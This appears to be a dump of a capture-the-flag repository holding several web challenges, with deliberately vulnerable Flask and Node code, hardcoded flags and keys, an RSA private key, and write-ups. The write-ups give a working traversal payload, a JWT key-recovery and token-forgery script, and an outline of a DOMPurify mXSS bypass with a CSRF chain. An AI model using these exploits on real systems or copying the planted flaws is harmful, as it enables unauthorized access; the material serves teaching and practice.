=> { ctx.set("X-Frame-Options", "deny"); ctx.set("X-Content-Type-Option", "nosniff"); ctx.set("Referrer-Policy", "no-referrer"); // Omitting CSP since that might make people think its a XSS chal return await next(); }); app.listen(LISTEN_PORT); })(); ================================================ FILE: web/farsight/src/assets/schema.gql ================================================ type User { id: ID! "Username" username: String! "Sites owned by the user" sites: [Site!]! } type Site { id: ID! "Name or title of the site" name: String! "Pages in the site" pages: [Page!]! "Should this site be accessible by non-owner users" public: Boolean! "Owner of the site" owner: User! "Configurations to control styling - please do not store secrets here" config: [ConfigPair!]! } type ConfigPair { key: String! value: String! } type Page { id: ID! "Name or title of the page" name: String! "Markdown content of the page" content: String! "(beta) Main site which hosts this page" ownerSite: Site! "(beta) Sites that reference this page" siteRefs: [Site!]! } type Query { "Get the current user" me: User "Get a site by ID" site(id: ID!): Site } type Mutation { "Login as a user" loginOrRegister(username: String!, password: String!): String "Create a new page" newPage(name: String, content: String, siteId: ID!): ID! "Sets site config" setSiteConfig(config: String!, siteId: ID!): ID! "(beta) import an existing page into the site" importPage(pageId: ID!, siteId: ID!): ID! } ================================================ FILE: web/farsight/src/config.ts ================================================ import path from "path"; export const SECRET_KEY = process.env["SECRET_KEY"] || "pqFCx8hMn7t2haovHW38tj-gRVbPCIv0vHHP3luRvUA"; export const RATE_LIMIT_BYPASS = process.env["RATE_LIMIT_BYPASS"] || "x0vpwHou6Z8c7dMDWT5FygR4H1A_YyrrgC7SxzfNCdk"; export const LISTEN_PORT = 8000; export const SCHEMA_FILE = getRelPath("./assets/schema.gql"); export const FRONTEND_BASE = getRelPath("../frontend"); function getRelPath(asset: string) { return path.resolve(__dirname, asset); } ================================================ FILE: web/farsight/src/db.ts ================================================ import { Pool, PoolClient } from "pg"; export type User = { id: number; username: string; }; export type Site = { id: number; name: string; public: boolean; config: { key: string; value: string }[]; ownerId: number; }; export type Page = { id: number; name: string; content: string; }; const dbPool = new Pool(); export class Database { #client: PoolClient; constructor(client: PoolClient) { this.#client = client; } async get(query: string, args: any[]) { const rows = await this.all(query, args); return rows.length > 0 ? rows[0] : undefined; } async all(query: string, args: any[]) { return (await this.run(query, args)).rows; } async run(query: string, args: any[]) { return await this.#client.query(query, args); } close() { this.#client.release(); } static async getHandle() { return new Database(await dbPool.connect()); } } function configFromString(configStr: string) { return Object.entries(<{ [k: string]: string }>JSON.parse(configStr)).map(([k, v]) => ({ key: k, value: v })); } export async function getUserById(db: Database, userId: number): Promise { return await db.get(`SELECT id, username FROM "user" WHERE id=$1`, [userId]); } export async function getSiteById(db: Database, siteId: number): Promise { const site = await db.get("SELECT id, * FROM site WHERE id=$1", [siteId]); return { id: site.id, name: site.name, public: site.public, config: configFromString(site.config), ownerId: site.owner, }; } export async function getUserSites(db: Database, ownerId: number): Promise { return (await db.all("SELECT id, * FROM site WHERE owner=$1", [ownerId])).map((site) => ({ id: site.id, name: site.name, public: site.public, config: configFromString(site.config), ownerId, })); } export async function getSitePages(db: Database, siteId: number): Promise { return ( await db.all("SELECT id, * FROM page WHERE site=$1 OR id IN (SELECT page FROM page_ref WHERE site=$1)", [ siteId, ]) ).map((page) => ({ id: page.id, name: page.name, content: page.content, })); } export async function pageSites(db: Database, pageId: number): Promise<{ owner: Site; refs: Site[] }> { const owningSite = await db.get("SELECT id, * FROM site WHERE id=(SELECT site FROM page WHERE id=$1)", [pageId]); const refedSites = await db.all("SELECT id, * FROM site WHERE id IN (SELECT site FROM page_ref WHERE page=$1)", [ pageId, ]); return { owner: { id: owningSite.id, name: owningSite.name, public: owningSite.public, config: configFromString(owningSite.config), ownerId: owningSite.owner, }, refs: refedSites.map((site) => ({ id: site.id, name: site.name, public: site.public, config: configFromString(site.config), ownerId: site.owner, })), }; } export async function getUserPassword( db: Database, username: string ): Promise<{ id: number; password: string } | undefined> { const userInfo = await db.get(`SELECT id, password FROM "user" WHERE username=$1`, [username]); return ( userInfo && { id: userInfo.id, password: userInfo.password, } ); } export async function getSiteOwner(db: Database, siteId: number): Promise { const ownerId = await db.get("SELECT owner FROM site WHERE id=$1", [siteId]); return await getUserById(db, ownerId.owner); } export async function makeUser(db: Database, username: string, password: string): Promise { try { const res = await db.get(`INSERT INTO "user" (username, password) VALUES ($1, $2) RETURNING id`, [ username, password, ]); return res.id; } catch (e: any) { // unique contraint if (e.code !== "23505") { throw e; } } } export async function makeSite(db: Database, userId: number, name: string): Promise { const res = await db.get("INSERT INTO site (name, public, config, owner) VALUES ($1, $2, $3, $4) RETURNING id", [ name, false, JSON.stringify({ background: "white", color: "black" }), userId, ]); return res.id; } export async function updateSiteConfig(db: Database, config: String, siteId: number): Promise { await db.run("UPDATE site SET config=$1 WHERE id=$2", [config, siteId]); return 1; } export async function makePage(db: Database, name: string, ctnt: string, siteId: number): Promise { const res = await db.get("INSERT INTO page(name, content, site) VALUES ($1, $2, $3) RETURNING id", [ name, ctnt, siteId, ]); return res.id; } export async function importPage(db: Database, pageId: number, siteId: number): Promise { await db.run("INSERT INTO page_ref (site, page) VALUES ($1, $2)", [siteId, pageId]); return 1; } ================================================ FILE: web/farsight/tsconfig.json ================================================ { "compilerOptions": { /* Visit https://aka.ms/tsconfig.json to read more about this file */ /* Basic Options */ // "incremental": true, /* Enable incremental compilation */ "target": "ES2018" /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', 'ES2021', or 'ESNEXT'. */, "module": "commonjs" /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', 'es2020', or 'ESNext'. */, "lib": ["es2018", "ESNext.AsyncIterable"] /* Specify library files to be included in the compilation. */, // "allowJs": true, /* Allow javascript files to be compiled. */ // "checkJs": true, /* Report errors in .js files. */ // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', 'react', 'react-jsx' or 'react-jsxdev'. */ // "declaration": true, /* Generates corresponding '.d.ts' file. */ // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */ "sourceMap": false /* Generates corresponding '.map' file. */, // "outFile": "./", /* Concatenate and emit output to single file. */ "outDir": "./build" /* Redirect output structure to the directory. */, // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */ // "composite": true, /* Enable project compilation */ // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */ // "removeComments": true, /* Do not emit comments to output. */ // "noEmit": true, /* Do not emit outputs. */ // "importHelpers": true, /* Import emit helpers from 'tslib'. */ // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */ // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */ /* Strict Type-Checking Options */ "strict": true /* Enable all strict type-checking options. */, // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */ // "strictNullChecks": true, /* Enable strict null checks. */ // "strictFunctionTypes": true, /* Enable strict checking of function types. */ // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */ "strictPropertyInitialization": false /* Enable strict checking of property initialization in classes. */, // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */ // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */ /* Additional Checks */ // "noUnusedLocals": true, /* Report errors on unused locals. */ // "noUnusedParameters": true, /* Report errors on unused parameters. */ // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ // "noUncheckedIndexedAccess": true, /* Include 'undefined' in index signature results */ // "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an 'override' modifier. */ // "noPropertyAccessFromIndexSignature": true, /* Require undeclared properties from index signatures to use element accesses. */ /* Module Resolution Options */ // "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */ // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */ // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */ // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */ // "typeRoots": [], /* List of folders to include type definitions from. */ // "types": [], /* Type declaration files to be included in compilation. */ // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */ "esModuleInterop": true /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */, // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */ // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ /* Source Map Options */ // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */ // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */ // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */ /* Experimental Options */ "experimentalDecorators": true /* Enables experimental support for ES7 decorators. */, "emitDecoratorMetadata": true /* Enables experimental support for emitting type metadata for decorators. */, /* Advanced Options */ "skipLibCheck": true /* Skip type checking of declaration files. */, "forceConsistentCasingInFileNames": true /* Disallow inconsistently-cased references to the same file. */ } } ================================================ FILE: web/inside-out/Dockerfile ================================================ FROM python:3 RUN apt-get update && \ apt-get install -y iproute2 && \ rm -rf /var/lib/apt/lists/* COPY ./challenge /app COPY ./requirements.txt /requirements.txt RUN /usr/bin/touch /var/log/request-proxy.log RUN pip install -r /requirements.txt CMD ["/usr/local/bin/python", "-u" ,"/app/main.py"] ================================================ FILE: web/inside-out/README.md ================================================ # Inside Out **Author:** Solopie **Category:** web **Difficulty:** Beginner ## Description You're hot then you're cold. You're yes then you're no. You're out but somehow in... Wait is that right? ================================================ FILE: web/inside-out/WRITEUP.md ================================================ # Inside Out Write Up Request the "/admin" resource (found in index source code) with the internal IP (given in the output of the example link in index) ================================================ FILE: web/inside-out/challenge/.gitignore ================================================ venv/ __pycache__/ ================================================ FILE: web/inside-out/challenge/config.py ================================================ from dotenv import load_dotenv import os import socket import ipaddress import netifaces load_dotenv() LOG_FILE = os.getenv("LOG_FILE") FLAG = os.getenv("FLAG") # Local IP # https://stackoverflow.com/a/28950776 # def get_ip(): # s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # try: # # doesn't even have to be reachable # s.connect(('10.255.255.255', 1)) # IP = s.getsockname()[0] # except Exception: # IP = '127.0.0.1' # finally: # s.close() # return IP # ASSUMED ADAPTER is eth0 addr_info = netifaces.ifaddresses("eth0")[netifaces.AF_INET][0] cidr_bits = ipaddress.IPv4Network(f"0.0.0.0/{addr_info['netmask']}").prefixlen LOCAL_CIDR = addr_info["addr"] + "/" + str(cidr_bits) # print(LOCAL_CIDR) ================================================ FILE: web/inside-out/challenge/main.py ================================================ from flask import Flask, request, jsonify, render_template from urllib.parse import urlparse from config import LOG_FILE, LOCAL_CIDR, FLAG from util import is_localhost, get_title, generate_random_ip import requests import subprocess import ipaddress import sys app = Flask(__name__) @app.route("/") def index(): return render_template("index.html") @app.route("/request") def send_request(): url = request.args.get("url") if not url: return ("

Bad request

", 400) # Give some random output for example if url == "http://example.com/": out = subprocess.run( ["ip", "addr"], stdout=subprocess.PIPE).stdout.decode("utf-8") return jsonify({ "status": "success", "text": out, "status_code": 200, "title": "Example", "redirect_url": "", "hostname": "example.com", "port": 80 }) # Getting hostname parsed_url = urlparse(url) hostname = parsed_url.hostname if parsed_url.hostname else "" # Check if request is sent to localhost if hostname and is_localhost(hostname): return render_template("blacklist.html", loopback=hostname), 403 print("Sending request: " + url) # Write result to log (the user should be in adm group to write to /var/log) with open(LOG_FILE, "a") as f: f.write(url + " from " + generate_random_ip() + "\n") # Send request result = None try: response = requests.get(url, timeout=5, allow_redirects=False) except: result = jsonify({"status": "failed"}) if result: return result # Look for title title = get_title(response.text) # Check if redirect redirect_url = "" if response.is_redirect: redirect_url = response.headers["Location"] result = { "status": "success", "text": response.text, "status_code": response.status_code, "title": title, "redirect_url": redirect_url, "hostname": hostname, "port": parsed_url.port } return jsonify(result) @app.route("/admin") def admin(): # Accessible by machines in the same local network if ("X-Real-Ip" not in request.headers or is_localhost(request.headers["X-Real-Ip"]) or ipaddress.ip_address(request.headers["X-Real-Ip"]) in ipaddress.ip_network(LOCAL_CIDR, False)): print("Local network request!") print(request.headers["X-Real-Ip"]) else: print("Real IP doesn't exist") return render_template("forbidden.html"), 403 # Get last 5 logs # Write result to log lines=[] with open(LOG_FILE, "a+") as f: f.seek(0) lines=f.readlines() return render_template("admin.html", logs = lines[-5:], FLAG = FLAG) if __name__ == "__main__": app.run(host = "0.0.0.0") ================================================ FILE: web/inside-out/challenge/static/style.css ================================================ body { margin: 50px 200px; } ================================================ FILE: web/inside-out/challenge/templates/admin.html ================================================ {% extends 'base.html' %} {% block header %}

{% block title %}Admin Panel{% endblock %}

{% endblock %} {% block content %}

Lmao did they actually think we're not recording their requests 😂


{% for log in logs %}

{{log}}

{% endfor %}

{{ FLAG }}


Yes the IPs are not real {% endblock %} ================================================ FILE: web/inside-out/challenge/templates/base.html ================================================ {% block title %}{% endblock %}
{% block header %}{% endblock %} {% block content %}{% endblock %}
================================================ FILE: web/inside-out/challenge/templates/blacklist.html ================================================ {% extends "base.html" %} {% block header %}

{% block title %}Blacklisted{% endblock %}

{% endblock %} {% block content %} {% if loopback %}

Loopback address is not allowed

{% endif %} {% endblock %} ================================================ FILE: web/inside-out/challenge/templates/forbidden.html ================================================ {% extends 'base.html' %} {% block header %}

{% block title %}Forbidden{% endblock %}

{% endblock %} {% block content %}

Only accessible from the local network

{% endblock %} ================================================ FILE: web/inside-out/challenge/templates/index.html ================================================ {% extends 'base.html' %} {% block header %}

{% block title %}Index{% endblock %}

{% endblock %} {% block content %}

Welcome fellow hackers!

Need to hide your requests? You're in the right place.

Send your requests through our server and you'll never be found.

Proxy Example



We're DEFINITELY not recording your web requests.

{% endblock %} ================================================ FILE: web/inside-out/challenge/util.py ================================================ import socket import re import ipaddress import random def is_localhost(target): result = False # IPv4 try: ip = ipaddress.IPv4Address(socket.gethostbyname(target)) if ip.is_loopback: result = True except: pass # IPv6 try: ip = ipaddress.IPv6Address(socket.gethostbyname(socket.getaddrinfo(target, None, socket.AF_INET6)[0][4][0])) if ip.is_loopback: result = True except: pass # Test 0.0.0.0 bypass return result def get_title(html): title = "" try: find_title = re.search('<\W*title\W*(.*):) ## Handout files - ./web/app.py (sha256: 13f4cf2546ada9bb5a93e0aa4bc3e93d62cfb08190b2bba102d2894aad6679c6) - ./proxy.py (sha256: 9a15d35ad789ef8ea5e9d39b0aabb95b86a9f60f25b98faecce66b9809ac65fa) ## Installation Modify the environment variables within the dockerfiles to change the flag. |Filename|Variables| |-|-| |docker-compose|FLAG| |challenge.yml|FLAG| ================================================ FILE: web/jasons_proxy/WRITEUP.md ================================================ # Jasons Proxy Write Up 1. Create a new POST request to `/jason_loader` with the following POST body ``` {"img":"aHR0","img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLyUyZSUyNTJlLyUyZSUyNTJlLyUyNTYxZG1pbi9mbCUyNTYxZw=="} ``` The above payload first exploits the vulnerability inside of the JSON parsing function where it fails to double check "checked" keys, bypassing the character filter. The payload must start with the string `http://127.0.0.1/static/images/` so the rest of the payload is a directory traversal double URL encoded to bypass checks at the proxy level. Finally the proxy requests the path `http://127.0.0.1/admin/flag`, the proxy then encodes the flag data in base64 and sends it back to the player. 2. Observe the flag data returned in base64 encoded form ``` {"imagedata": "RFVDVEZ7ZDB1YmwzX2pzMG5fZDB1YmwzX1VSSV9yMXBfajRzMG41X3A0dGhfdzF0aF9iMWdfaDR4eH0="} ``` ================================================ FILE: web/jasons_proxy/challenge.yml ================================================ version: "0.1" id: jasons-proxy name: Jasons Proxy category: web description: | NotCloudeFlare have been informed of a new up and coming rival CDN, Jasons Image Hosting. They want you to try and hack your way in >:) Author: xesh connection_info: ${url} tags: - hard files: - ./web/app.py - ./proxy.py flags: - DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx} ================================================ FILE: web/jasons_proxy/docker-compose.yml ================================================ version: "2" services: web: environment: - FLAG=DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx} build: . ports: - "5000:80" ================================================ FILE: web/jasons_proxy/proxy.py ================================================ #!/usr/bin/python3 import os import socketserver import urllib.request from os.path import abspath from http.server import SimpleHTTPRequestHandler from urllib.parse import unquote, urlparse, urljoin PORT = 9097 whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"] blacklist = ["admin","flag"] remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"] def waf(url): resp = unquote(url) whitelist_check = False for uri in whitelist: if resp.lower().startswith(uri): whitelist_check = uri break if whitelist_check == False: return None for forbidden in blacklist: if forbidden in resp.lower(): return None for badstr in remove_list: resp = resp.replace(badstr,"BLOCKEDBY1337WAF") resp = urlparse(resp) resp = unquote(abspath(resp.path)) return urljoin(whitelist_check,resp) class CDNProxy(SimpleHTTPRequestHandler): def do_GET(self): url = self.path[1:] print(self.headers) self.send_response(200) self.send_header("X-CDN","CDN-1337") self.end_headers() waf_result = waf(url) if waf_result: self.copyfile(urllib.request.urlopen(waf_result), self.wfile) else: self.wfile.write(bytes("1337 WAF blocked your request","utf-8")) httpd = socketserver.ForkingTCPServer(('', PORT), CDNProxy) print("Now serving at " + str(PORT)) httpd.serve_forever() ================================================ FILE: web/jasons_proxy/requirements.txt ================================================ flask requests gunicorn urllib3 ================================================ FILE: web/jasons_proxy/run.sh ================================================ #!/bin/bash echo "[*] Starting Proxy" cd / nohup python3 proxy.py & echo "[*] Starting challenge" cd /app gunicorn -w $WORKERS -b 0.0.0.0:80 --access-logfile - \ --access-logformat "%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"" \ --forwarded-allow-ips=* app:app ================================================ FILE: web/jasons_proxy/web/app.py ================================================ #!/usr/bin/python3 import os from requests import get from base64 import b64encode, b64decode from flask import Flask, request, render_template app = Flask(__name__) class JSON(object): def __init__(self): self.forbidden = ["'","\"","{","}","[","]",",","(",")","\\",";","%"] self.checked = [] def _forbidden_chk(self, key, value): chk = False for bad in self.forbidden: if bad in key: chk = True break if bad in value: chk = True break return chk def _checked(self, key): chk = True if key in self.checked: chk = False return chk def _security(self, key, value): chk = False if not self._checked(key): return chk if self._forbidden_chk(key, value): chk = True if key == "img": value = b64decode(bytes(value,'utf-8')).decode() if self._forbidden_chk(key, value): chk = True if chk == False: self.checked.append(key) return chk def parse(self, data): parsed_data = [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')] built_data = {} for obj in parsed_data: if len(obj) < 2 or self._security(obj[0], obj[1]): return "Jasons Secure JSON Parsing Blocked Your Request" if obj[0] == "img": obj[1] = b64decode(bytes(obj[1],'utf-8')).decode() built_data[obj[0]] = obj[1] return built_data def get_as_b64(img): try: if img.startswith('http://127.0.0.1/static/images/'): return b64encode(get("http://127.0.0.1:9097/"+img).content).decode() return None except Exception as e: return None @app.route('/') def _index(): return render_template('index.html') @app.route('/jason_loader', methods=['POST']) def _app_jason_loader(): if request.headers.get('Content-Type') != 'application/json': return '{"error": "invalid content type"}', 400 json = JSON() pdata = json.parse(request.data) if type(pdata) == str: return "{\"error\": \""+pdata+"\"}" img = pdata.get('img') if not img: return "{\"error\": \"Jasons JSON Security Module Triggered\"}" imgdata = '{"imagedata": "' + get_as_b64(img) + '"}' return imgdata, 200 @app.route('/admin/flag') def _flag(): if request.remote_addr != "127.0.0.1": return "Unauthorized.", 401 return str(os.environ.get('FLAG')), 200 if __name__ == "__main__": app.run(host='0.0.0.0',port=80,debug=False) ================================================ FILE: web/jasons_proxy/web/static/style.css ================================================ /* * Globals */ /* Custom default button */ .btn-secondary, .btn-secondary:hover, .btn-secondary:focus { color: #333; text-shadow: none; /* Prevent inheritance from `body` */ } /* * Base structure */ body { text-shadow: 0 .05rem .1rem rgba(0, 0, 0, .5); box-shadow: inset 0 0 5rem rgba(0, 128, 0, .2); } .cover-container { max-width: 42em; } .list-group-item { border-color: rgba(0, 128, 0, .2); } kbd { background-color: #111; } /* * Header */ .nav-masthead .nav-link { padding: .25rem 0; font-weight: 700; color: rgba(255, 255, 255, .5); background-color: transparent; border-bottom: .25rem solid transparent; } .nav-masthead .nav-link:hover, .nav-masthead .nav-link:focus { border-bottom-color: rgba(255, 255, 255, .25); } .nav-masthead .nav-link + .nav-link { margin-left: 1rem; } .nav-masthead .active { color: #fff; border-bottom-color: #fff; } /* * Cards */ .card { border-color: lime; box-shadow: 5px 10px 8px rgba(0, 128, 0, .2); } ================================================ FILE: web/jasons_proxy/web/templates/base.html ================================================ Jasons Image Hosting

Jasons Image Hosting

{% block content %} {% endblock %}
================================================ FILE: web/jasons_proxy/web/templates/index.html ================================================ {% extends "base.html" %} {% block content %}

Cool images huh?

Here are Jasons Image Hosting, we have developed a state of the art Content Distribution Network (CDN). Delivering super fast, super secure content. Contact Jason today to get your business setup with Jasons Image Hosting today!
{% endblock %} ================================================ FILE: web/jwt/Dockerfile ================================================ FROM tiangolo/uwsgi-nginx-flask:python3.8 RUN pip3 install pyjwt[crypto] COPY ./challenge/chall.py /app/main.py COPY ./challenge/priv /app/priv COPY ./challenge/pub /app/pub COPY ./challenge/flag.txt /app/flag.txt ================================================ FILE: web/jwt/README.md ================================================ # JWT **Author:** 247CTF.com **Category:** Web **Difficulty:** ? _Everyone knows you can offline brute force HS256. Is RS256 vulnerable too?_ ## Description When accessing the application URL, you are provided with the source code. The application has 2 routes - one to get a token and the other to get a flag. The token received sets your admin status as false - to get the flag you need a token which sets your admin status to true. The token is making use of RS256 and the public key is not disclosed - however the key can be derived from the tokens. Once derived, it can be noted that the public key is 'small' (773 bits) and can be factored. Once factored, the private key can be created and a token with the admin status set to true can be forged. ## Writeup 1. Get two JWT tokens (`curl 127.0.0.1:5000/get_token`) 2. Derive the public key (https://github.com/silentsignal/rsa_sign2n) 3. Extract the modulus (`openssl rsa -pubin -in blah -modulus`) 4. Factor the modulus (`./msieve -q blah`) 5. Create the private key (https://github.com/ius/rsatool) 6. Forge a token (`import jwt;private_key=open('priv').read();token=jwt.encode({'admin':True},private_key,algorithm='RS256')`) 7. Grab the flag (`curl -X POST -d "jwt=blah" http://127.0.0.1:5000/get_flag`) ================================================ FILE: web/jwt/challenge/chall.py ================================================ from flask import Flask, request import jwt, time, os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) private_key = open('priv').read() public_key = open('pub').read() flag = open('flag.txt').read() @app.route("/get_token") def get_token(): return jwt.encode({'admin': False, 'now': time.time()}, private_key, algorithm='RS256') @app.route("/get_flag", methods=['POST']) def get_flag(): try: payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256']) if payload['admin']: return flag except: return ":(" @app.route("/") def sauce(): return "
%s
" % open(__file__).read() if __name__ == "__main__": app.run(host="0.0.0.0", port=5000) ================================================ FILE: web/jwt/challenge/flag.txt ================================================ DUCTF{json_web_trickeryyy} ================================================ FILE: web/jwt/challenge/priv ================================================ -----BEGIN RSA PRIVATE KEY----- MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVY kjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQABAmEK pfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUdsIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2Bw MRfpIfKlS/QW0gX/TR+btntJc6P8wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shP effCNh+VXzu3s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G 9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+AVkdrkSG aV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4kdR6HwflOVyaziHjre5zY 79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPtsga15EDaXO+lTIe0eeM7aaO3kJzEFdKlf TUNp0nfE1AiWUx+AA6n2UgczpjybNbN0rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw== -----END RSA PRIVATE KEY----- ================================================ FILE: web/jwt/challenge/pub ================================================ -----BEGIN PUBLIC KEY----- MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB -----END PUBLIC KEY----- ================================================ FILE: web/jwt/challenge.yml ================================================ version: "0.1" id: jwt name: JWT category: web description: > Everyone knows you can offline brute force HS256. Is RS256 vulnerable too? Author: 247CTF.com connection_info: ${url} tags: - medium - crypto flags: - DUCTF{json_web_trickeryyy} ================================================ FILE: web/jwt/docker-compose.yml ================================================ version: '3' services: jwt: build: . ports: - "1337:80" ================================================ FILE: web/jwt/solve/requirements.txt ================================================ certifi==2021.5.30 cffi==1.14.6 charset-normalizer==2.0.4 cryptography==3.4.8 gmpy2==2.0.8 idna==3.2 pycparser==2.20 pycryptodome==3.10.1 PyJWT==2.1.0 requests==2.26.0 urllib3==1.26.6 ================================================ FILE: web/jwt/solve/solve.py ================================================ # solve script written by joseph import requests from hashlib import sha256 from base64 import urlsafe_b64decode from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long, long_to_bytes import gmpy2 def pkcs1_v1_5_encode(msg: bytes, n_len: int): SHA256_Digest_Info = b'\x30\x31\x30\x0D\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20' T = SHA256_Digest_Info + sha256(msg).digest() PS = b'\xFF' * (n_len - len(T) - 3) return b'\x00\x01' + PS + b'\x00' + T # from https://ctftime.org/writeup/26173 def get_magic(jwt): header, payload, signature = jwt.split(".") raw_signature = urlsafe_b64decode(f"{signature}==") raw_signature_int = gmpy2.mpz(bytes_to_long(raw_signature)) padded_msg = pkcs1_v1_5_encode(f"{header}.{payload}".encode(), len(raw_signature)) padded_int = gmpy2.mpz(bytes_to_long(padded_msg)) e = gmpy2.mpz(65537) return gmpy2.mpz(pow(raw_signature_int, e) - padded_int) jwt0 = requests.get('http://0.0.0.0:1337/get_token').text jwt1 = requests.get('http://0.0.0.0:1337/get_token').text # jwt0 = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMDk4MTgwOS4xNjQzMDF9.BV5n_9LpciesgBgO8wy7owjMIQoFj5OPP1vsN-S_V47rZFnSrDYDooxeIT6f9369tC2-NOpusU_6Xfyh_TLTdiIZU9LeS-KNZlENsj2F5St6A6jXgdfq0aS27ltMHRSwVA' # jwt1 = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMDk4MTgxOC45OTIzNzl9.CwYmWPSd4T8NHzi8YcfuCUTMHU4jwkFvzqPSzJnp3ItBmeu_bXDSB5_qng9lO80bQp-l7JFHgHwo9VYKac4xy9m9PGFq3NPJfpjLO59mkyMsNW5-uhVkRyh-rkQWma-sHA' magic0 = get_magic(jwt0) magic1 = get_magic(jwt1) N = int(gmpy2.gcd(magic0, magic1)) print(hex(N)) assert N % 29 == 0 p = 29 q = N//p e = 0x10001 d = pow(e, -1, (p-1)*(q-1)) # generate private key key = RSA.construct((N, e, d)) PRIV_KEY = key.exportKey().decode() print(PRIV_KEY) import jwt token = jwt.encode({'admin': True}, PRIV_KEY, algorithm='RS256') print(token) flag = requests.post('http://0.0.0.0:1337/get_flag', data={ 'jwt': token }) print(flag.text) ================================================ FILE: web/notepad/Dockerfile ================================================ FROM python:3.9-slim RUN pip install --no-cache-dir quart quart-rate-limiter aioredis requests uvicorn[standard] gunicorn WORKDIR /srv COPY ./src/ /srv/ COPY ./flag.txt /srv/ ENTRYPOINT [ "gunicorn", "-b", "0.0.0.0:5000", "-k", "uvicorn.workers.UvicornWorker", "app:app" ] ================================================ FILE: web/notepad/README.md ================================================ # Notepad **Category**: web **Difficulty**: Hard **Author**: todo#7331 ## Flavour I made a markdown editor for all your hacking notes! ## Description A CSRF challenge which aims to get users to weaponize a self XSS. Users able able to do a simple self stored xss using a well-known mxss payload to bypass dompurify. The difficulty will be to modify this payload into something that can perform non-trivial actions. Pretty much every page on the site is also vulnerable to CSRF attacks. Players can hence direct the admin to a custom site containing two iframes to perform a CSRF chain exploit in order to leak the content of a admin-only route. Difficulty is hard as it involves chaining together two medium-hard difficulty exploits. ## Writeup _A solve script can be found in ./solve - the hosts will need to be updated_ 1. Player notices the use of DOMPurify < 2.1.0, this has well known mxss bypasses. 1. e.g. `` 1. This payload needs to be slightly adapted since it is injected into a markdown environment which will wrap it in `

` 1. Since this is naive we can wrap this as `a

MXSS' \ '